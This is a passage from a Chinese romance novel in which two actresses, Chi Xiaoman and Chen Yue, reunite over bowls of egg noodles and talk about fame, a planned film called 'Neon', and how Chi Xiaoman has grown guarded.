陈樾把自己那碗加了两个鸡蛋的面推过来,送到她面前。 把她那碗光秃秃的面推走,才轻轻地说,“都已经是大明星了,还不给自己加个蛋吗?” 迟小满愣住。 不知怎么被那水蒸气蒸热了眼。 也不知道为什么明明是同一个意思,方阿云的话她能随心所欲地接,陈樾的话她却无从接起。 迟小满低着脸不敢去看陈樾。 从筷子筒里找了两双一次性筷子出来,拆了包装,慌慌张张想要递过去。 却又收回来。 仓促刮了刮筷子上的碎屑。 重新递过去。 又怕陈樾嫌她手碰过不干净。 便又瑟缩着想收回来,顺便拿双新的没拆封过的给陈樾。 陈樾倒是没多在意,在她去找新的之前,从她手中接过了那被她仔仔细细刮去木屑的筷子, “给我吧,我没那么娇气。” 迟小满慢慢收回手。 才盯着自己面前那碗加了两个鸡蛋的面,语速很慢地说, “我可能……就是习惯了。” 陈樾的动作一顿。 迟小满没继续说话,只低头咬了口热软软的鸡蛋。 本以为陈樾会安安静静和她吃完这碗面。但可能是这么多年未见,陈樾让人如沐春风的本领又增强。她停了会,又用那种听起来像电影镜头外面的画外音台词的柔软语调,说, “你是不是又瘦了很多?” 声音很轻,听上去不是要求,也不是教训。只像年长者真心实意的关心,暗示她这个习惯并不算是太好。 “有吗?”迟小满没去看陈樾的眼睛,也不敢去确认陈樾看向她的眼神到底是关切多,还是于心不忍更多,“可能是前阵子太忙了。” “那身体恢复怎么样?” “挺好的,住了一天院就回去了。后来也没出什么问题。” 面吃了一口,迟小满小心翼翼地嚼着,还是原来的味道,下了肚,舒舒服服地托着胃。她白天也没吃什么东西,这会终于吃了点,整个人状态终于恢复不少。 “那你呢?是不是也挺忙的啊?”可能是几句寒暄下来,状态没绷得那么紧。迟小满没想过自己还能用开玩笑的语气称呼陈樾,“影后。” “嗯,是挺忙的。”陈樾说。 本来也只是客套。迟小满点点头,以为这个话题就此作罢。 但没想到安静一会,陈樾还仔细回忆起来,不太避嫌地和她说起后面的事, “总共接了十几个采访,国内国外拍了几套杂志,之后经纪人就从她邮箱里,每天挑二十多个剧本印给我让我看。不过后面这么多天,除了看剧本我也没什么其他事。” “算下来应该没有你忙。” “我……”迟小满愣了一秒,把筷子放下,才声音细细地说,“我是也挺忙的。” 这么多天她连轴转到处飞,不仅要忙之前堆积下来的活,还忙着和宋莺莺聊解约。 也尽量抽空去联系人,想把电影班底早点聚起来后面好开工。 按道理这些都不该和陈樾说。 毕竟她们走的路早已不同,一个是天上飞人常年在热搜打转,一个常居香港愿意沉淀下来拍电影,对彼此的近况也都不太了解。 但这么和陈樾面对面坐着,迟小满一时之间也找不到其他话要说,下意识便啰里八嗦地把自己的情况往外倒, “本来早就可以休息的,但就是之前受伤,很多事情都延后了。 现在合同又快到期了,所以也得把现在签好的商务合同这些都履行了,后面好……” 说到这里,迟小满突然说不出来话。她无法确认,当她以一种“告知者”的姿态告诉陈樾,自己打算把《霓虹》拍出来的事情,对陈樾来说是否也是一种冒犯。 上次热搜之后,她们一句没聊过。 关于《霓虹》最后的消息。 也都停在陈樾那一句“没什么不相信的”。 犹豫间,迟小满打算开口向陈樾解释。 可陈樾却先开口了,“那么忙还想起到这里来吃面?” 迟小满的思绪被轻而易举带偏。她沉默片刻,说,“就是路过。” 陈樾不说话,隔着昏黄日光望她。 迟小满低了头。 吃了口面,几乎是用最慢的速度嚼完,才慢慢的说, “可能,因为人都是后知后觉的吧。” 她吃面的动作和陈樾的记忆有着极大出入。从前迟小满从来不在意吃相,那时跑剧组留着吃盒饭的时间根本没多少,累了一天谁能忍住小口小口吃饭? 但现在她每一口都吃得很小心,仿佛有人在她面前摆着面镜子,摆着个怼到脸边的镜头,让她吃一口就检查一遍—— 自己咀嚼的动作是否得体,嘴边是否有残留,脸部表情是否经得起一帧一帧去截图,然后放大,用以证明她是否足够美丽,承担得起那么多人的喜欢、向往和迷恋。 “也可能因为我总算有钱了吧。” 连胃口也变小很多,只吃那么小一口,就放下筷子,朝她笑, “毕竟有钱了,才会想起来回头吃这一碗随时都能吃到的面,才会闲着没事跑过来追忆往昔,不是吗?” 以至于陈樾尽管于心不忍,却不得不反复提起从前,妄想从此时此刻的迟小满眼中,瞥见任何一点过去的踪影, “那你突然想要把《霓虹》拍出来,也是因为有钱了吗?” 大概没想到陈樾会问得那么直接。 迟小满愣了两三秒。 柔软 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“这些话很难听。”迟小满笑着,眼睛望住她,隔着雾气的一双月牙,“我不该随便和人说,惹得别人也跟着我嫌烦。” 也不是故意卖惨和自嘲。迟小满很清楚,这是她自己该要承受的代价,和陈樾无关,和任何人都无关。有些话说多了,就只能得到个“卖惨”和“怨妇”的印象。 原本是该给出更轻松些的回答的。例如——嗯,就是有钱了。或者——想拍就拍,不可以吗? 可现在一不留神话说出口,迟小满就算觉得后悔,也没机会再继续解释,只好再次低头,去吃那碗早已经变凉的鸡蛋面。 是在她安安分分吃了两口,每一口都实实在在地吞到肚子里的时候。 才听见陈樾问, “为什么要对我说抱歉?” 迟小满动作顿住。 餐桌上已经安静许久,她没想过陈樾还会接着刚刚的话题继续往下说。 她抬眼。 撞见陈樾的眼睛。 也没想好解释。 便只是习惯性先朝对方笑了下, “我……” “迟小满。” 临近傍晚,幸福面馆,黄昏时刻落幕。 陈樾背对着塑料布,脸被浸在暮色中,打断她,像是一句话忍了很久终于不再忍, “你可不可以不要这样?” 迟小满愣住。 陈樾依旧看她,也依旧像是那个对她循循善诱的年长者,声线像冷静,又像温情, “不要随时随地都在脸上这样笑,不要每吃一口面都小心翼翼,不要说每一句话都在观察别人的反应,不要随随便便道歉,不要因为别人不说话,就反省自己以为说错话?” 话连着说了这么多,陈樾突然觉得后悔。她不知道自己是否仍然具备和迟小满说这些的资格,也不知道迟小满听见这些会不会觉得她多管闲事,甚至……就像她发的那两次微博一样。 “迟小满,你……” 但等她犹豫着看见水蒸气散开,迟小满的眼睛从其中显现——湿润,漂亮,比起从前少了很多倔强,不再像火,也不再炯炯,让人想起奄奄一息沉到黑洞的太阳。 才悲哀又沉默地发现,原来自己真正想要问的问题,从来都还没有机会问出口—— 迟小满,你可不可以。 不要在我看不到的时候,偷偷变成我不认识的样子?